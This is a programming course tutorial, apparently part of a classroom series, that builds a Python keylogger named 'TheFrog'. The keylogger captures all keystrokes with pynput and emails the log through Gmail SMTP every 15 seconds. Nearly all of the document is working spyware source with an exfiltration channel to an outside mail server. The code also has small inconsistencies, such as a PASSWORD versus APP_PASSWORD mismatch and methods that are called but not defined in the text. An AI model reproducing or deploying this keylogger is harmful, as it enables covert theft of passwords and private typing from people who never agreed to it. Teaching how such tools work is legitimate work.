Part 6: Python Keylogger

Contents

Part 6: Python Keylogger 1
Gmail Credentials 1
Send Mail 2
Frog 6 4
Linux 5
Assignment Submission 5

Time required: 30 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

Gmail Credentials

The final step is to add the ability to email the logs.

1. Create a Python file named: **gmail_credentials.py**
2. Use the email account and password you created in the Email with Python assignment.

```python
#!/usr/bin/env python3
"""
    Name: gmail_credentials.py
    Author:
    Created:
    Purpose: Credentials to send email through Python using Gmail
"""

SMTP_SERVER = "smtp.gmail.com"
# Secure SMTP port
PORT = 587

#---------- REPLACE WITH YOUR INFORMATION ------------#

LOGIN = "youremailaddress@gmail.com"
APP_PASSWORD = "yourapppassword"

EMAIL_SRC = "youremailaddress@gmail.com"
EMAIL_DST = "youremailaddress@gmail.com"
```

Send Mail

1. Create a Python file named **send_mail.py**

```python
#!/usr/bin/env python3
"""
    Name: semd_mail.py
    Author:
    Created:
    Purpose: Send a email message
"""
import smtplib
import ssl
import gmail_credentials as gc

# ---------------------------- SEND EMAIL ----------------------
def send_mail(message):
    """Send an email message"""
    # Set email server object
    server = smtplib.SMTP(gc.SMTP_SERVER, gc.PORT)

    # Don't show all communication with the server
    server.set_debuglevel(False)

    # Create a secure SSL context
    context = ssl.create_default_context()

    try:
        # Start an encrypted TLS session
        server.starttls(context=context)

        # Login to the mail server
        server.login(gc.LOGIN, gc.PASSWORD)

        # Send the email message
        server.sendmail(gc.EMAIL_SRC, gc.EMAIL_DST, message)

        print("Email message successfully sent.")
    except Exception as e:
        print(e)

    finally:
        # Quit from server
        quit_results = server.quit()
        # For email connection feedback only
        print(quit_results)
```

Frog 6

1. Save **frog_5.py** as **frog_6.py**
2. Import the send_mail module.

```python
#!/usr/bin/env python3
"""
    Name: frog_6.py
    Author:
    Created:
    Purpose: Class to capture keystrokes, email to user
"""
# Windows: pip install pynput
# Linux: sudo pip3 install pynput
from pynput import keyboard
import threading
from send_mail import send_mail
```

```python
class TheFrog:
    def __init__(self):
        # Log variable
        self.log = "Keylogger started"

        # How often the report is sent in seconds
        self.interval = 15

        self.report()

        # Create a keyboard listener object
        # Listen for keyboard on_press event
        # When a key is pressed,
        # call process_key_press function
        keyboard_listener = keyboard.Listener(
            on_press=self.process_key_press
        )

        # Repeat the keyboard listener
        with keyboard_listener:
            # Start keyboard listener on separate thread
            keyboard_listener.join()
```

```python
# -------------------------- REPORT ------------------------------------
    def report(self):
        # Send log by email, or save to file
        # Print log to console for testing
        # print(self.log)

        # Save log to a text file
        self.log_to_file()

        # \n\n prevents the log from being in the subject of the message
        send_mail("\n\n" + self.log)

        # Clear the log
        self.log = ""

        # Create threaded timer object
        # A function that calls itself is a recursive function
        timer = threading.Timer(self.interval, self.report)

        # Set timer thread to close when program closes
        timer.daemon = True

        # Start the timer
        timer.start()

# Create and start the KeyLogger object
the_frog = TheFrog()
```

All files must be in the same folder. You can type anywhere on your computer. Each keystroke will be logged. The log will be emailed to you every 15 seconds for testing.

Linux

Change to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 frog_6.py

Assignment Submission

1. Attach all program files.

2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.
